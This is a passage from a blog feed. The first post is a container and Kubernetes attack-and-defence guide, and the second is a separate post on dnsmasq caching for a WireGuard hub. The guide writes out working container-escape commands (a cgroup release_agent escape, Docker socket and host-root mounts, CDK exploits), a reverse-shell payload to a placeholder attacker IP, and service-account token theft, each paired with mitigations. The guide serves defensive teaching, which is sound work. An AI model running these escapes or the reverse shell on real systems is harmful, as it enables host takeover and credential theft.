</tr>
</tbody>
</table>
<p><strong>Exploit — cgroup <code>notify_on_release</code> technique:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Start the vulnerable container</span>
</span></span><span style="display:flex;"><span>docker run --rm -it --cap-add<span style="color:#f92672">=</span>SYS_ADMIN --security-opt apparmor<span style="color:#f92672">=</span>unconfined ubuntu bash
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Inside the container:</span>
</span></span><span style="display:flex;"><span>mkdir /tmp/cgrp <span style="color:#f92672">&amp;&amp;</span> mount -t cgroup -o rdma cgroup /tmp/cgrp <span style="color:#f92672">&amp;&amp;</span> mkdir /tmp/cgrp/x
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#ae81ff">1</span> &gt; /tmp/cgrp/x/notify_on_release
</span></span><span style="display:flex;"><span>host_path<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>sed -n <span style="color:#e6db74">&#39;s/.*\perdir=\([^,]*\).*/\1/p&#39;</span> /etc/mtab<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;</span>$host_path<span style="color:#e6db74">/cmd&#34;</span> &gt; /tmp/cgrp/release_agent
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#39;#!/bin/sh&#39;</span> &gt; /cmd
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;id &gt; </span>$host_path<span style="color:#e6db74">/output&#34;</span> &gt;&gt; /cmd
</span></span><span style="display:flex;"><span>chmod a+x /cmd
</span></span><span style="display:flex;"><span>sh -c <span style="color:#e6db74">&#34;echo \$\$ &gt; /tmp/cgrp/x/cgroup.procs&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cat /output
</span></span></code></pre></div><p><strong>Defensive mitigations:</strong></p>
<ul>
<li>Use <code>--cap-drop=ALL</code> and add back only what is needed</li>
<li>Apply seccomp profiles to deny the <code>mount</code> syscall</li>
<li>Use a restricted AppArmor profile</li>
<li>Prefer cgroup v2 (harder to exploit this class of technique)</li>
</ul>
<hr>
<h2 id="dangerous-mount-scenarios">Dangerous Mount Scenarios</h2>
<p><img src="https://res.cloudinary.com/amini/image/upload/v1647237909/types-of-mounts-bind_mz7r0c.png" alt="Bind mounts"></p>
<blockquote>
<p>Image from <a href="https://docs.docker.com/storage/bind-mounts/">Docker docs</a></p>
</blockquote>
<h3 id="mounting-the-host-root-">Mounting the Host Root (<code>/</code>)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -itd -v /:/host ubuntu:18.04 /bin/bash
</span></span><span style="display:flex;"><span>chroot /host
</span></span></code></pre></div><h3 id="mounting-the-docker-socket-varrundockersock">Mounting the Docker Socket (<code>/var/run/docker.sock</code>)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Inside: install Docker CLI, then:</span>
</span></span><span style="display:flex;"><span>docker run -it -v /:/host ubuntu:18.04 chroot /host bash
</span></span></code></pre></div><p>Using CDK:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./cdk run docker-sock-pwn /var/run/docker.sock <span style="color:#e6db74">&#34;touch /host/tmp/pwn-success&#34;</span>
</span></span></code></pre></div><h3 id="mounting-procfs">Mounting <code>procfs</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash
</span></span><span style="display:flex;"><span>./cdk run mount-procfs /mnt/host_proc <span style="color:#e6db74">&#34;touch /tmp/exp-success&#34;</span>
</span></span></code></pre></div><h3 id="mounting-cgroupfs">Mounting <code>cgroupfs</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./cdk run mount-cgroup <span style="color:#e6db74">&#34;&lt;shell-cmd&gt;&#34;</span>
</span></span></code></pre></div><p><strong>Defensive mitigations:</strong> Audit all volume mounts. Use read-only where possible (<code>:ro</code>). Apply OPA/Gatekeeper policies to block high-risk mounts.</p>
<hr>
<h2 id="cve-based-container-escapes">CVE-Based Container Escapes</h2>
<h3 id="cve-2019-5736--runc-container-escape">CVE-2019-5736 — runc Container Escape</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Modify payload in main.go</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># payload = &#34;#!/bin/bash\nbash -i &gt;&amp; /dev/tcp/&lt;attacker-ip&gt;/4444 0&gt;&amp;1&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>CGO_ENABLED<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> GOOS<span style="color:#f92672">=</span>linux GOARCH<span style="color:#f92672">=</span>amd64 go build main.go
</span></span><span style="display:flex;"><span>docker cp ./main &lt;container_id&gt;:/payload
</span></span><span style="display:flex;"><span>nc -lvnp <span style="color:#ae81ff">4444</span>
</span></span></code></pre></div><p><strong>Mitigations:</strong> Update Docker &gt;= 18.09.2 / runc &gt;= 1.0-rc6. Use rootless containers or gVisor.</p>
<hr>
<h3 id="cve-2019-14271--docker-cp-libnss-hijack">CVE-2019-14271 — Docker <code>cp</code> libnss Hijack</h3>
<p><code>docker cp</code> spawns <code>docker-tar</code>, which dynamically loads <code>libnss.so</code>. An attacker can replace these libraries inside a container; when a privileged user copies files, the malicious library executes as root on the host.</p>
<p>Reference: <a href="https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/">CVE-2019-14271 writeup</a></p>
<p><strong>Mitigations:</strong> Upgrade Docker. Avoid copying files from untrusted containers.</p>
<hr>
<h3 id="cve-2019-13139--docker-build-code-execution">CVE-2019-13139 — Docker Build Code Execution</h3>
<p>Specially crafted <code>Dockerfile</code> arguments could achieve code execution on the host during <code>docker build</code>.</p>
<p><strong>Mitigations:</strong> Upgrade Docker. Never build Dockerfiles from untrusted sources.</p>
<hr>
<h3 id="cve-2016-5195--dirty-cow-kernel-privilege-escalation">CVE-2016-5195 — Dirty COW Kernel Privilege Escalation</h3>
<p>A race condition in the Linux kernel&rsquo;s copy-on-write mechanism allows an unprivileged process to gain write access to read-only memory mappings — exploitable inside containers since host and container share the kernel.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/gebl/dirtycow-docker-vdso.git
</span></span><span style="display:flex;"><span>./cdk run dirty-cow
</span></span></code></pre></div><p><strong>Mitigations:</strong> Patch host kernel (fixed in Linux &gt;= 4.8.3). Apply seccomp to restrict relevant syscalls.</p>
<hr>
<h2 id="kubernetes-security">Kubernetes Security</h2>
<h3 id="detecting-a-k8s-environment">Detecting a K8s Environment</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>env | grep KUBERNETES_SERVICE_HOST
</span></span><span style="display:flex;"><span>ls /run/secrets/kubernetes.io/serviceaccount/
</span></span><span style="display:flex;"><span>cat /run/secrets/kubernetes.io/serviceaccount/token
</span></span></code></pre></div><h3 id="kubernetes-dashboard-setup-reference">Kubernetes Dashboard Setup (Reference)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
</span></span><span style="display:flex;"><span>kubectl proxy
</span></span><span style="display:flex;"><span><span style="color:#75715e"># http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/</span>
</span></span></code></pre></div><p>Create an admin service account:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#75715e"># dashboard-adminuser.yaml</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">ServiceAccount</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">admin-user</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">namespace</span>: <span style="color:#ae81ff">kube-system</span>
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">rbac.authorization.k8s.io/v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">ClusterRoleBinding</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">admin-user</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">roleRef</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">apiGroup</span>: <span style="color:#ae81ff">rbac.authorization.k8s.io</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">kind</span>: <span style="color:#ae81ff">ClusterRole</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">cluster-admin</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">subjects</span>:
</span></span><span style="display:flex;"><span>- <span style="color:#f92672">kind</span>: <span style="color:#ae81ff">ServiceAccount</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">admin-user</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">namespace</span>: <span style="color:#ae81ff">kube-system</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kubectl apply -f dashboard-adminuser.yaml
</span></span><span style="display:flex;"><span>kubectl -n kube-system describe secret <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  <span style="color:#66d9ef">$(</span>kubectl -n kube-system get secret | grep admin-user | awk <span style="color:#e6db74">&#39;{print $1}&#39;</span><span style="color:#66d9ef">)</span>
</span></span></code></pre></div><hr>
<h3 id="cve-2020-8558--kube-proxy-localhost-boundary-bypass">CVE-2020-8558 — kube-proxy Localhost Boundary Bypass</h3>
<p>An attacker on the same LAN as a Kubernetes node can reach services bound only to <code>127.0.0.1</code> on that node, breaking intended localhost isolation.</p>
<p><img src="https://res.cloudinary.com/amini/image/upload/v1647234159/New-Kubernetes-Node-Vulnerability-CVE-2020-8558-bypass-localhost-boundary-2_jkkv3k.png" alt="Kubernetes trust boundaries"></p>
<blockquote>
<p>Image from <a href="https://www.alcide.io/new-kubernetes-node-vulnerability-cve-2020-8558-bypasses-localhost-boundary/">Alcide</a></p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>lsof +c <span style="color:#ae81ff">15</span> -P -n -i 4TCP@127.0.0.1 -sTCP:LISTEN
</span></span><span style="display:flex;"><span>lsof +c <span style="color:#ae81ff">15</span> -P -n -i 4UDP@127.0.0.1
</span></span></code></pre></div><p><strong>Mitigations:</strong> Upgrade Kubernetes to &gt;= 1.18.4 / 1.17.7 / 1.16.11. Apply Network Policies.</p>
<hr>
<h3 id="k8s-api-server">K8s API Server</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Test for anonymous access</span>
</span></span><span style="display:flex;"><span>curl -k https://&lt;api-server&gt;:6443/api/v1/namespaces
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Evaluate with CDK</span>
</span></span><span style="display:flex;"><span>cdk evaluate
</span></span></code></pre></div><p>Reference: <a href="https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server">CDK Wiki — Evaluate K8s API Server</a></p>
<p><strong>Mitigations:</strong> <code>--anonymous-auth=false</code>. Enforce RBAC. Restrict API server to trusted CIDRs. Enable audit logging.</p>
<hr>
<h3 id="k8s-service-account-token-abuse">K8s Service Account Token Abuse</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>TOKEN<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>cat /run/secrets/kubernetes.io/serviceaccount/token<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>curl -s -H <span style="color:#e6db74">&#34;Authorization: Bearer </span>$TOKEN<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -k https://kubernetes.default.svc/api/v1/namespaces/default/pods
</span></span></code></pre></div><p><strong>Mitigations:</strong></p>
<ul>
<li>Least-privilege RBAC on all service accounts</li>
<li><code>automountServiceAccountToken: false</code> on pods that don&rsquo;t need API access</li>
<li>Use Bound Service Account Tokens (time-limited, audience-restricted)</li>
<li>Audit permissions with <code>kubectl-who-can</code> or <code>rbac-police</code></li>
</ul>
<hr>
<h3 id="cdk-quick-reference">CDK Quick Reference</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker cp ./cdk_linux_amd64 &lt;container_id&gt;:/root/cdk
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">777</span> /root/cdk
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./cdk evaluate        <span style="color:#75715e"># Gather info, find weaknesses</span>
</span></span><span style="display:flex;"><span>./cdk run --list      <span style="color:#75715e"># List all available exploits</span>
</span></span><span style="display:flex;"><span>./cdk run &lt;name&gt;      <span style="color:#75715e"># Run a specific exploit</span>
</span></span></code></pre></div><blockquote>
<p><a href="https://github.com/cdk-team/CDK">CDK GitHub Repository</a></p>
</blockquote>
<hr>
<h2 id="defensive-best-practices">Defensive Best Practices</h2>
<h3 id="container-hardening-checklist">Container Hardening Checklist</h3>
<ul>
<li><input disabled="" type="checkbox"> Use minimal base images (distroless, Alpine, scratch)</li>
<li><input disabled="" type="checkbox"> Run containers as a non-root user (<code>USER 1000</code>)</li>
<li><input disabled="" type="checkbox"> Set a read-only root filesystem (<code>--read-only</code>)</li>
<li><input disabled="" type="checkbox"> Drop all capabilities and add back only what is needed (<code>--cap-drop=ALL</code>)</li>
<li><input disabled="" type="checkbox"> Never use <code>--privileged</code> in production</li>
<li><input disabled="" type="checkbox"> Never mount the Docker socket into containers</li>
<li><input disabled="" type="checkbox"> Scan images for CVEs before pushing and deploying</li>
<li><input disabled="" type="checkbox"> Sign images and enforce signature verification</li>
<li><input disabled="" type="checkbox"> Set CPU and memory limits on all containers</li>
<li><input disabled="" type="checkbox"> Keep base images and container runtimes patched</li>
</ul>
<h3 id="kubernetes-hardening-checklist">Kubernetes Hardening Checklist</h3>
<ul>
<li><input disabled="" type="checkbox"> Enable and enforce RBAC — deny all by default</li>
<li><input disabled="" type="checkbox"> Apply Pod Security Standards (<code>restricted</code> profile)</li>
<li><input disabled="" type="checkbox"> Use Network Policies to segment pod communication</li>
<li><input disabled="" type="checkbox"> Disable anonymous API server authentication</li>
<li><input disabled="" type="checkbox"> Rotate and scope Service Account tokens</li>
<li><input disabled="" type="checkbox"> Enable Kubernetes audit logging → SIEM</li>
<li><input disabled="" type="checkbox"> Use admission controllers (OPA Gatekeeper, Kyverno)</li>
<li><input disabled="" type="checkbox"> Run runtime security tools (Falco, Tetragon)</li>
<li><input disabled="" type="checkbox"> Keep all Kubernetes components patched</li>
<li><input disabled="" type="checkbox"> Encrypt etcd at rest</li>
</ul>
<h3 id="monitoring-and-detection-tools">Monitoring and Detection Tools</h3>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://falco.org/">Falco</a></td>
<td>Runtime security — syscall-level anomaly detection</td>
</tr>
<tr>
<td><a href="https://tetragon.io/">Tetragon</a></td>
<td>eBPF-based runtime observability and enforcement</td>
</tr>
<tr>
<td><a href="https://github.com/aquasecurity/trivy">Trivy</a></td>
<td>Image and IaC vulnerability scanning</td>
</tr>
<tr>
<td><a href="https://github.com/aquasecurity/kube-bench">kube-bench</a></td>
<td>CIS Kubernetes Benchmark compliance checks</td>
</tr>
<tr>
<td><a href="https://github.com/aquasecurity/kube-hunter">kube-hunter</a></td>
<td>Active K8s penetration testing</td>
</tr>
<tr>
<td><a href="https://github.com/cdk-team/CDK">CDK</a></td>
<td>Container and K8s penetration assessment</td>
</tr>
</tbody>
</table>
<hr>
<p><em>Photo by <a href="https://unsplash.com/@calebrussell">Caleb Russell</a> on Unsplash.</em></p>
]]></content>
        </item>
        
        <item>
            <title>dnsmasq &amp; WireGuard</title>
            <link>https://amini.eu/posts/2021/08/dnsmasq-wireguard/</link>
            <pubDate>Wed, 04 Aug 2021 00:00:00 +0000</pubDate>
            
            <guid>https://amini.eu/posts/2021/08/dnsmasq-wireguard/</guid>
            <description>DNS Caching for a WireGuard Hub with dnsmasq TL;DR: Running dnsmasq on a WireGuard hub caches DNS results for all connected peers, reducing latency and upstream load — but getting it to play nicely with Ubuntu&amp;rsquo;s resolvconf integration requires a non-obvious fix.
Background When building a WireGuard hub on Ubuntu 20.04, I wanted to improve DNS performance by adding a local caching resolver. The idea: instead of every peer&amp;rsquo;s DNS query going straight to an upstream server, the hub itself runs dnsmasq to cache responses — speeding up repeat lookups across all connected clients.</description>
            <content type="html"><![CDATA[<h1 id="dns-caching-for-a-wireguard-hub-with-dnsmasq">DNS Caching for a WireGuard Hub with dnsmasq</h1>
<blockquote>
<p><strong>TL;DR:</strong> Running dnsmasq on a WireGuard hub caches DNS results for all connected peers, reducing latency and upstream load — but getting it to play nicely with Ubuntu&rsquo;s resolvconf integration requires a non-obvious fix.</p>
</blockquote>
<hr>
<h2 id="background">Background</h2>
<p>When building a WireGuard hub on Ubuntu 20.04, I wanted to improve DNS performance by adding a local caching resolver. The idea: instead of every peer&rsquo;s DNS query going straight to an upstream server, the hub itself runs <strong>dnsmasq</strong> to cache responses — speeding up repeat lookups across all connected clients.</p>
<p>The catch is that Ubuntu (since 12.04) no longer installs dnsmasq by default. It relies on <code>systemd-resolved</code> to manage DNS resolution. On a server, I prefer to sidestep this entirely: read the upstream DNS addresses from the VPS or cloud provider&rsquo;s network config, stop <code>systemd-resolved</code>, and let dnsmasq take full control.</p>
<hr>
<h2 id="architecture">Architecture</h2>
<p>The goal is to run dnsmasq <strong>exclusively on the WireGuard interface</strong> (<code>wg0</code>) — caching and forwarding DNS for VPN peers without touching the host&rsquo;s own resolution:</p>
<pre tabindex="0"><code>VPN Peer  →  wg0 (192.168.14.11)  →  dnsmasq cache  →  Upstream DNS (192.168.15.1)
</code></pre><hr>
<h2 id="dnsmasq-configuration">dnsmasq Configuration</h2>
<p>The config is intentionally minimal and scoped to <code>wg0</code> only:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#75715e"># /etc/dnsmasq.conf</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Do not read upstream servers from /etc/resolv.conf</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">no-resolv</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Do not use /etc/hosts for name resolution</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">no-hosts</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Cache up to 10,000 DNS records in memory</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">cache-size</span><span style="color:#f92672">=</span><span style="color:#e6db74">10000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Query upstreams in order, not in parallel</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">strict-order</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Upstream DNS server</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">server</span><span style="color:#f92672">=</span><span style="color:#e6db74">192.168.15.1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Bind only to the WireGuard interface address</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">listen-address</span><span style="color:#f92672">=</span><span style="color:#e6db74">192.168.14.11</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Bind strictly to listed interfaces only</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bind-interfaces</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">interface</span><span style="color:#f92672">=</span><span style="color:#e6db74">wg0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">except-interface</span><span style="color:#f92672">=</span><span style="color:#e6db74">lo</span>
</span></span></code></pre></div><blockquote>
<p><strong>Note:</strong> <code>bind-interfaces</code> is used instead of <code>bind-dynamic</code> to strictly restrict dnsmasq to <code>wg0</code>. Combined with <code>no-resolv</code> and <code>no-hosts</code>, dnsmasq becomes a pure forwarding cache for WireGuard peers — it has no visibility into the host&rsquo;s local DNS.</p>
</blockquote>
<hr>
<h2 id="the-problem-resolvconf-gets-hijacked">The Problem: resolv.conf Gets Hijacked</h2>
<p>After starting dnsmasq, a strange symptom appeared: <strong>local DNS resolution on the host broke entirely</strong>.</p>
<p>Inspecting <code>/etc/resolv.conf</code> revealed the cause:</p>
<table>
<thead>
<tr>
<th>State</th>
<th><code>resolv.conf</code> nameserver</th>
</tr>
</thead>
<tbody>
<tr>
<td>Before dnsmasq starts</td>
<td><code>127.0.0.53</code> (systemd-resolved stub)</td>
</tr>
<tr>
<td>After dnsmasq starts</td>
<td><code>127.0.0.1</code> ← but dnsmasq isn&rsquo;t listening here!</td>
</tr>
</tbody>
</table>
<p>Something was rewriting <code>resolv.conf</code> to point at <code>127.0.0.1</code> even though dnsmasq was only bound to <code>192.168.14.11</code> on <code>wg0</code>.</p>
<h3 id="tracing-the-root-cause">Tracing the Root Cause</h3>
<p>The culprit is a resolvconf integration script at <code>/etc/resolvconf/update.d/dnsmasq</code>. It cannot be removed (system integrity), and it provides no configuration option to disable itself. The solution has to come from elsewhere.</p>
<p>Looking at the dnsmasq init script at <code>/etc/init.d/dnsmasq</code>, there&rsquo;s a <code>start_resolvconf()</code> function that runs on every start:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>start_resolvconf<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># If &#34;lo&#34; is listed in DNSMASQ_EXCEPT, exit early — skip resolvconf.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># This is the only clean exit point we can use.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> interface in $DNSMASQ_EXCEPT; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">[</span> $interface <span style="color:#f92672">=</span> lo <span style="color:#f92672">]</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Also skipped if DNS is fully disabled (port=0) — not useful here.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> grep -qs <span style="color:#e6db74">&#39;^port=0&#39;</span> /etc/dnsmasq.conf; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># This line rewrites /etc/resolv.conf to nameserver 127.0.0.1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -x /sbin/resolvconf <span style="color:#f92672">]</span> ; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>        echo <span style="color:#e6db74">&#34;nameserver 127.0.0.1&#34;</span> | /sbin/resolvconf -a lo.$NAME
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>There is exactly <strong>one early-exit path</strong>: if <code>$DNSMASQ_EXCEPT</code> contains <code>lo</code>, the function returns before touching resolvconf. The <code>port=0</code> branch isn&rsquo;t usable — we need DNS enabled. That <code>for</code> loop is our only lever.</p>
<hr>
<h2 id="the-fix">The Fix</h2>
<p>Set <code>DNSMASQ_EXCEPT=lo</code> in <code>/etc/default/dnsmasq</code>. This satisfies the early-return condition in <code>start_resolvconf()</code> and prevents any rewrite of <code>/etc/resolv.conf</code>.</p>
<blockquote>
<p><strong>Important:</strong> <code>IGNORE_RESOLVCONF=yes</code> also exists in the init script, but setting it alone is <strong>not sufficient</strong> to prevent the resolvconf rewrite in the current Ubuntu init logic. Both variables are needed together.</p>
</blockquote>
<p>Since dnsmasq is started and stopped via WireGuard&rsquo;s <code>PostUp</code>/<code>PreDown</code> hooks, the <code>/etc/default/dnsmasq</code> file is written dynamically by the startup script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e"># /etc/wireguard/scripts/wg0-postup.sh</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Write /etc/default/dnsmasq before starting.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># DNSMASQ_EXCEPT=lo triggers the early-exit in start_resolvconf(),</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># preventing resolvconf from rewriting /etc/resolv.conf.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># IGNORE_RESOLVCONF=yes is an additional guard; neither alone is enough.</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;IGNORE_RESOLVCONF=yes&#34;</span> &gt;  /etc/default/dnsmasq
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;DNSMASQ_EXCEPT=lo&#34;</span>     &gt;&gt; /etc/default/dnsmasq
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Start dnsmasq — binds to wg0 (192.168.14.11) only</span>
</span></span><span style="display:flex;"><span>/etc/init.d/dnsmasq start
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>exit <span style="color:#ae81ff">0</span>
</span></span></code></pre></div><p>With this in place:</p>
<ul>
<li>dnsmasq binds exclusively to <code>wg0</code> and caches up to 10,000 records</li>
<li>DNS queries from VPN peers are served from cache or forwarded to <code>192.168.15.1</code></li>
<li>The host&rsquo;s <code>/etc/resolv.conf</code> is left completely untouched</li>
</ul>
<hr>
<h2 id="update--august-7-2021">Update — August 7, 2021</h2>
